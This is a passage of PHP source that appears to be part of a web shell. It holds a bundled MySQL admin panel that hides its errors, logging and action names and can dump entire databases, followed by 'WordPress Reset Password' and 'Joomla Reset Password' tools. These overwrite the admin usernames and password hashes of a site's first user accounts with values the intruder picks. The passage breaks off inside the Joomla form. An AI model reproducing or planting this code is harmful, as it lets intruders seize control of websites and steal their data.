if( strpos( $fieldtype, "," ) )
$D = strtok( " (,)
" );
}
}
}
echo "<p class=location>$dbname > $tablename</p>
";
echo "<form action=$PHP_SELF>
";
if( $cmd == "add" )
echo "<input type=hidden name=action value=addField_submit>
";
else if( $cmd == "edit" ) {
echo "<input type=hidden name=action value=editField_submit>
";
echo "<input type=hidden name=old_name value=$fieldname>
";
}
echo "<input type=hidden name=dbname value=$dbname>
";
echo "<input type=hidden name=tablename value=$tablename>
";
echo "<h3>Name</h3>
";
echo "<input type=text name=name value=$fieldname><p>
";
echo '
<h3>Type</h3>
<font size=2>
* `M\' indicates the maximum display size.<br>
* `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
</font>
< table class="tabnet">
<tr>
<th>Type</th><th> M </th><th> D </th><th>unsigned</th><th>zerofill</th><th>binary</th>
</tr>
<tr>
<td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
<td align=center>O</td>
<td> </td>
<td align=center>O</td>
<td align=center>O</td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
<td align=center>O</td>
<td> </td>
<td align=center>O</td>
<td align=center>O</td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
<td align=center>O</td>
<td> </td>
<td align=center>O</td>
<td align=center>O</td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
<td align=center>O</td>
<td> </td>
<td align=center>O</td>
<td align=center>O</td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
<td align=center>O</td>
<td> </td>
<td align=center>O</td>
<td align=center>O</td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
<td align=center>O</td>
<td align=center>O</td>
<td> </td>
<td align=center>O</td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
<td align=center>O</td>
<td align=center>O</td>
<td> </td>
<td align=center>O</td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
<td align=center>O</td>
<td align=center>O</td>
<td> </td>
<td align=center>O</td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
<td align=center>O</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
<td align=center>O</td>
<td> </td>
<td> </td>
<td> </td>
<td align=center>O</td>
</tr>
<tr>
<td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
<td align=center>O</td>
<td> </td>
<td> </td>
<td> </td>
<td align=center>O</td>
</tr>
<tr>
<td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
<td> </td>
</tr>
<tr>
<td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
<td colspan=5><center>value list</center></td>
</tr>
<tr>
<td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
<td colspan=5><center>value list</center></td>
</tr>
</table>
<table>
<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
<tr>
<td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
<td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
<td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" ) ) echo "checked";echo '></td>
<td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
</tr>
</table>
<h3>Flags</h3>
<table>
<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
<tr>
<td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
<td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
<td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
</tr>
</table>
<p>';
if( $cmd == "add" )
echo "<input type=submit value='Add Field'>
";
else if( $cmd == "edit" )
echo "<input type=submit value='Edit Field'>
";
echo "<input type=button value=Cancel onClick='history.back()'>
";
echo "</form>
";
}
function manageField_submit( $cmd ) {
global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
$M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
if( $cmd == "add" )
$queryStr = "ALTER TABLE $tablename ADD $name ";
else if( $cmd == "edit" )
$queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
if( $M != "" )
if( $D != "" )
$queryStr .= "$type($M,$D) ";
else
$queryStr .= "$type($M) ";
else if( $valuelist != "" ) {
$valuelist = stripslashes( $valuelist );
$queryStr .= "$type($valuelist) ";
} else
$queryStr .= "$type ";
$queryStr .= "$unsigned $zerofill $binary ";
if( $default_value != "" )
$queryStr .= "DEFAULT '$default_value' ";
$queryStr .= "$not_null $auto_increment";
mysql_select_db( $dbname, $mysqlHandle );
mysql_query( $queryStr, $mysqlHandle );
$errMsg = mysql_error();
// key change
$keyChange = false;
$result = mysql_query( "SHOW KEYS FROM $tablename" );
$primary = "";
while( $row = mysql_fetch_array($result) )
if( $row["Key_name"] == "PRIMARY" ) {
if( $row[Column_name] == $name )
$keyChange = true;
else
$primary .= ", $row[Column_name]";
}
if( $primary_key == "PRIMARY KEY" ) {
$primary .= ", $name";
$keyChange = !$keyChange;
}
$primary = substr( $primary, 2 );
if( $keyChange == true ) {
$q = "ALTER TABLE $tablename DROP PRIMARY KEY";
mysql_query( $q );
$queryStr .= "<br>
" . $q;
$errMsg .= "<br>
" . mysql_error();
$q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
mysql_query( $q );
$queryStr .= "<br>
" . $q;
$errMsg .= "<br>
" . mysql_error();
}
viewSchema();
}
function dropField() {
global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
mysql_select_db( $dbname, $mysqlHandle );
mysql_query( $queryStr , $mysqlHandle );
$errMsg = mysql_error();
viewSchema();
}
function viewData( $queryStr ) {
global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
echo "<h1>Data in Table</h1>
";
if( $tablename != "" )
echo "<p class=location>$dbname > $tablename</p>
";
else
echo "<p class=location>$dbname</p>
";
$queryStr = stripslashes( $queryStr );
if( $queryStr == "" ) {
$queryStr = "SELECT * FROM $tablename";
if( $orderby != "" )
$queryStr .= " ORDER BY $orderby";
echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> |
";
echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>
";
}
$pResult = mysql_db_query( $dbname, $queryStr );
$fieldt = mysql_fetch_field($pResult);
$tablename = $fieldt->table;
$errMsg = mysql_error();
$GLOBALS[queryStr] = $queryStr;
if( $pResult == false ) {
echoQueryResult();
return;
}
if( $pResult == 1 ) {
$errMsg = "Success";
echoQueryResult();
return;
}
echo "<hr>
";
$row = mysql_num_rows( $pResult );
$col = mysql_num_fields( $pResult );
if( $row == 0 ) {
echo "No Data Exist!";
return;
}
if( $rowperpage == "" ) $rowperpage = 30;
if( $page == "" ) $page = 0;
else $page--;
mysql_data_seek( $pResult, $page * $rowperpage );
echo "<table cellspacing=1 cellpadding=2>
";
echo "<tr>
";
for( $i = 0; $i < $col; $i++ ) {
$field = mysql_fetch_field( $pResult, $i );
echo "<th>";
if($action == "dmlld0RhdGE=")
echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>
";
else
echo $field->name."
";
echo "</th>
";
}
echo "<th colspan=2>Action</th>
";
echo "</tr>
";
for( $i = 0; $i < $rowperpage; $i++ ) {
$rowArray = mysql_fetch_row( $pResult );
if( $rowArray == false ) break;
echo "<tr>
";
$key = "";
for( $j = 0; $j < $col; $j++ ) {
$data = $rowArray[$j];
$field = mysql_fetch_field( $pResult, $j );
if( $field->primary_key == 1 )
$key .= "&" . $field->name . "=" . $data;
if( strlen( $data ) > 30 )
$data = substr( $data, 0, 30 ) . "...";
$data = htmlspecialchars( $data );
echo "<td>
";
echo "$data
";
echo "</td>
";
}
if( $key == "" )
echo "<td colspan=2>no Key</td>
";
else {
echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>
";
echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>
";
}
echo "</tr>
";
}
echo "</table>
";
echo "<font size=2>
";
if($action == "dmlld0RhdGE=")
echo "<form action='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename' method=post>
";
else
echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>
";
echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
echo "</font>
";
echo " | ";
if( $page > 0 ) {
if($action == "dmlld0RhdGE=")
echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page);
else
echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
if( $orderby != "" && $action == "dmlld0RhdGE=")
echo "&orderby=$orderby";
echo "'>Prev</a>
";
} else
echo "Prev";
echo " | ";
if( $page < ($row/$rowperpage)-1 ) {
if($action == "dmlld0RhdGE=")
echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page+2);
else
echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
if( $orderby != "" && $action == "dmlld0RhdGE=")
echo "&orderby=$orderby";
echo "'>Next</a>
";
} else
echo "Next";
echo " | ";
if( $row > $rowperpage ) {
echo "<input type=text size=4 name=page>
";
echo "<input type=submit value='Go'>
";
}
echo "</form>
";
echo "</font>
";
}
function manageData( $cmd ) {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
if( $cmd == "add" )
echo "<h1>Add Data</h1>
";
else if( $cmd == "edit" ) {
echo "<h1>Edit Data</h1>
";
$pResult = mysql_list_fields( $dbname, $tablename );
$num = mysql_num_fields( $pResult );
$key = "";
for( $i = 0; $i < $num; $i++ ) {
$field = mysql_fetch_field( $pResult, $i );
if( $field->primary_key == 1 )
if( $field->numeric == 1 )
$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
else
$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
}
$key = substr( $key, 0, strlen($key)-4 );
mysql_select_db( $dbname, $mysqlHandle );
$pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
$data = mysql_fetch_array( $pResult );
}
echo "<p class=location>$dbname > $tablename</p>
";
echo "<form action='$PHP_SELF' method=post>
";
if( $cmd == "add" )
echo "<input type=hidden name=action value=addData_submit>
";
else if( $cmd == "edit" )
echo "<input type=hidden name=action value=editData_submit>
";
echo "<input type=hidden name=dbname value=$dbname>
";
echo "<input type=hidden name=tablename value=$tablename>
";
echo "<table cellspacing=1 cellpadding=2>
";
echo "<tr>
";
echo "<th>Name</th>
";
echo "<th>Type</th>
";
echo "<th>Function</th>
";
echo "<th>Data</th>
";
echo "</tr>
";
$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
$num = mysql_num_rows( $pResult );
$pResultLen = mysql_list_fields( $dbname, $tablename );
for( $i = 0; $i < $num; $i++ ) {
$field = mysql_fetch_array( $pResult );
$fieldname = $field["Field"];
$fieldtype = $field["Type"];
$len = mysql_field_len( $pResultLen, $i );
echo "<tr>";
echo "<td>$fieldname</td>";
echo "<td>".$field["Type"]."</td>";
echo "<td>
";
echo "<select name=${fieldname}_function>
";
echo "<option>
";
echo "<option>ASCII
";
echo "<option>CHAR
";
echo "<option>SOUNDEX
";
echo "<option>CURDATE
";
echo "<option>CURTIME
";
echo "<option>FROM_DAYS
";
echo "<option>FROM_UNIXTIME
";
echo "<option>NOW
";
echo "<option>PASSWORD
";
echo "<option>PERIOD_ADD
";
echo "<option>PERIOD_DIFF
";
echo "<option>TO_DAYS
";
echo "<option>USER
";
echo "<option>WEEKDAY
";
echo "<option>RAND
";
echo "</select>
";
echo "</td>
";
$value = htmlspecialchars($data[$i]);
if( $cmd == "add" ) {
$type = strtok( $fieldtype, " (,)
" );
if( $type == "enum" || $type == "set" ) {
echo "<td>
";
if( $type == "enum" )
echo "<select name=$fieldname>
";
else if( $type == "set" )
echo "<select name=$fieldname size=4 multiple>
";
while( $str = strtok( "'" ) ) {
echo "<option>$str
";
strtok( "'" );
}
echo "</select>
";
echo "</td>
";
} else {
if( $len < 40 )
echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>
";
else
echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>
";
}
} else if( $cmd == "edit" ) {
$type = strtok( $fieldtype, " (,)
" );
if( $type == "enum" || $type == "set" ) {
echo "<td>
";
if( $type == "enum" )
echo "<select name=$fieldname>
";
else if( $type == "set" )
echo "<select name=$fieldname size=4 multiple>
";
while( $str = strtok( "'" ) ) {
if( $value == $str )
echo "<option selected>$str
";
else
echo "<option>$str
";
strtok( "'" );
}
echo "</select>
";
echo "</td>
";
} else {
if( $len < 40 )
echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>
";
else
echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>
";
}
}
echo "</tr>";
}
echo "</table><p>
";
if( $cmd == "add" )
echo "<input type=submit value='Add Data'>
";
else if( $cmd == "edit" )
echo "<input type=submit value='Edit Data'>
";
echo "<input type=button value='Cancel' onClick='history.back()'>
";
echo "</form>
";
}
function manageData_submit( $cmd ) {
global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
$pResult = mysql_list_fields( $dbname, $tablename );
$num = mysql_num_fields( $pResult );
mysql_select_db( $dbname, $mysqlHandle );
if( $cmd == "add" )
$queryStr = "INSERT INTO $tablename VALUES (";
else if( $cmd == "edit" )
$queryStr = "REPLACE INTO $tablename VALUES (";
for( $i = 0; $i < $num-1; $i++ ) {
$field = mysql_fetch_field( $pResult );
$func = $GLOBALS[$field->name."_function"];
if( $func != "" )
$queryStr .= " $func(";
if( $field->numeric == 1 ) {
$queryStr .= $GLOBALS[$field->name];
if( $func != "" )
$queryStr .= "),";
else
$queryStr .= ",";
} else {
$queryStr .= "'" . $GLOBALS[$field->name];
if( $func != "" )
$queryStr .= "'),";
else
$queryStr .= "',";
}
}
$field = mysql_fetch_field( $pResult );
if( $field->numeric == 1 )
$queryStr .= $GLOBALS[$field->name] . ")";
else
$queryStr .= "'" . $GLOBALS[$field->name] . "')";
mysql_query( $queryStr , $mysqlHandle );
$errMsg = mysql_error();
viewData( "" );
}
function deleteData() {
global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
$pResult = mysql_list_fields( $dbname, $tablename );
$num = mysql_num_fields( $pResult );
$key = "";
for( $i = 0; $i < $num; $i++ ) {
$field = mysql_fetch_field( $pResult, $i );
if( $field->primary_key == 1 )
if( $field->numeric == 1 )
$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
else
$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
}
$key = substr( $key, 0, strlen($key)-4 );
mysql_select_db( $dbname, $mysqlHandle );
$queryStr = "DELETE FROM $tablename WHERE $key";
mysql_query( $queryStr, $mysqlHandle );
$errMsg = mysql_error();
viewData( "" );
}
function fetch_table_dump_sql($table)
{
global $mysqlHandle,$dbname;
mysql_select_db( $dbname, $mysqlHandle );
$query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
$tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
$tabledump = "DROP TABLE IF EXISTS $table;
" . $tabledump['Create Table'] . ";
";
echo $tabledump;
// get data
$rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
$numfields=mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows, MYSQL_NUM))
{
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter = -1;
$firstfield = 1;
// get each field's data
while (++$fieldcounter < $numfields)
{
if (!$firstfield)
{
$tabledump .= ', ';
}
else
{
$firstfield = 0;
}
if (!isset($row["$fieldcounter"]))
{
$tabledump .= 'NULL';
}
else
{
$tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
}
}
$tabledump .= ");
";
echo $tabledump;
}
@mysql_free_result($rows);
}
function dump() {
global $mysqlHandle, $action, $dbname, $tablename;
if( $action == "dumpTable" ){
header("Content-disposition: filename=$tablename.sql");
header('Content-type: unknown/unknown');
fetch_table_dump_sql($tablename);
echo "
";
echo "
### $tablename TABLE DUMP COMPLETED ###";
exit;
}else{
header("Content-disposition: filename=$dbname.sql");
header('Content-type: unknown/unknown');
mysql_select_db( $dbname, $mysqlHandle );
$query_id = mysql_query("SHOW tables",$mysqlHandle);
while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
{
fetch_table_dump_sql($row[0]);
echo "
";
echo "
### $row[0] TABLE DUMP COMPLETED ###";
echo "
";
}
echo "
### $dbname DATABASE DUMP COMPLETED ###";
exit;
}
}
function utils() {
global $PHP_SELF, $command;
echo "<h1>Utilities</h1>
";
if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
echo "<hr>
";
echo "Show
";
echo "<ul>
";
echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>
";
echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>
";
echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>
";
echo "</ul>
";
echo "Flush
";
echo "<ul>
";
echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>
";
if( $command == "flush_hosts" ) {
if( mysql_query( "Flush hosts" ) != false )
echo "- Success";
else
echo "- Fail";
}
echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>
";
if( $command == "flush_logs" ) {
if( mysql_query( "Flush logs" ) != false )
echo "- Success";
else
echo "- Fail";
}
echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>
";
if( $command == "flush_privileges" ) {
if( mysql_query( "Flush privileges" ) != false )
echo "- Success";
else
echo "- Fail";
}
echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>
";
if( $command == "flush_tables" ) {
if( mysql_query( "Flush tables" ) != false )
echo "- Success";
else
echo "- Fail";
}
echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>
";
if( $command == "flush_status" ) {
if( mysql_query( "Flush status" ) != false )
echo "- Success";
else
echo "- Fail";
}
echo "</ul>
";
} else {
$queryStr = ereg_replace( "_", " ", $command );
$pResult = mysql_query( $queryStr );
if( $pResult == false ) {
echo "Fail";
return;
}
$col = mysql_num_fields( $pResult );
echo "<p class=location>$queryStr</p>
";
echo "<hr>
";
echo "<table cellspacing=1 cellpadding=2 border=0>
";
echo "<tr>
";
for( $i = 0; $i < $col; $i++ ) {
$field = mysql_fetch_field( $pResult, $i );
echo "<th>".$field->name."</th>
";
}
echo "</tr>
";
while( 1 ) {
$rowArray = mysql_fetch_row( $pResult );
if( $rowArray == false ) break;
echo "<tr>
";
for( $j = 0; $j < $col; $j++ )
echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>
";
echo "</tr>
";
}
echo "</table>
";
}
}
function footer_html() {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
echo "<hr>
";
echo "[$USERNAME] -
";
echo "<a href='$PHP_SELF?action=bGlzdERCcw=='>Database List</a> |
";
if( $tablename != "" )
echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
echo "<a href='$PHP_SELF?action=utils'>Utils</a> |
";
echo "<a href='$PHP_SELF?action=logout'>Logout</a>
";
}
//------------- MAIN ------------- //
error_reporting(0);
ini_set ('display_errors', 0);
ini_set ('log_errors', 0);
if( $action == "logon" || $action == "" || $action == "logout" )
logon();
else if( $action == "bG9nb25fc3VibWl0" )
logon_submit();
else if( $action == "dumpTable" || $action == "dumpDB" ) {
while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
}
$mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
dump();
} else {
while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
}
echo "<!--";
$mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
echo "-->";
if( $mysqlHandle == false ) {
echo "<table width=100% height=100%><tr><td><center>
";
echo "<h1>Wrong Password!</h1>
";
echo "<a href='$PHP_SELF?action=logon'>Logon</a>
";
echo "</center></td></tr></table>
";
} else {
if( $action == "bGlzdERCcw==" )
listDatabases();
else if( $action == "createDB" )
createDatabase();
else if( $action == "dropDB" )
dropDatabase();
else if( $action == "listTables" )
listTables();
else if( $action == "createTable" )
createTable();
else if( $action == "dropTable" )
dropTable();
else if( $action == "viewSchema" )
viewSchema();
else if( $action == "query" )
viewData( $queryStr );
else if( $action == "addField" )
manageField( "add" );
else if( $action == "addField_submit" )
manageField_submit( "add" );
else if( $action == "editField" )
manageField( "edit" );
else if( $action == "editField_submit" )
manageField_submit( "edit" );
else if( $action == "dropField" )
dropField();
else if( $action == "dmlld0RhdGE=" )
viewData( "" );
else if( $action == "addData" )
manageData( "add" );
else if( $action == "addData_submit" )
manageData_submit( "add" );
else if( $action == "editData" )
manageData( "edit" );
else if( $action == "editData_submit" )
manageData_submit( "edit" );
else if( $action == "deleteData" )
deleteData();
else if( $action == "utils" )
utils();
mysql_close( $mysqlHandle);
footer_html();
}
}
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Wordpress Reset Password ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'>
<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>
<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
<tr><td> Pass Baru</td><td>
<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
</td></tr> </table><br><br><br><br>
";
}else{
$localhost = $_POST['localhost'];
$database = $_POST['database'];
$username = $_POST['username'];
$password = $_POST['password'];
$pwd = $_POST['pwd'];
$admin = $_POST['admin'];
@mysql_connect($localhost,$username,$password) or die(mysql_error());
@mysql_select_db($database) or die(mysql_error());
$hash = crypt($pwd);
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
if($a4s){
echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
}
}
echo "
</div>"; }
elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
<?php
echo "<center/><br/><b><font color=#00ff00>+--==[ Joomla Reset Password ]==--+</font></b><br><br>";
if(empty($_POST['pwd'])){
echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td> username</td><td>
<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td> password</td><td>
<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
<tr><td> User baru</td><td>
<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
<tr><td> pass baru </td><td>123456 =
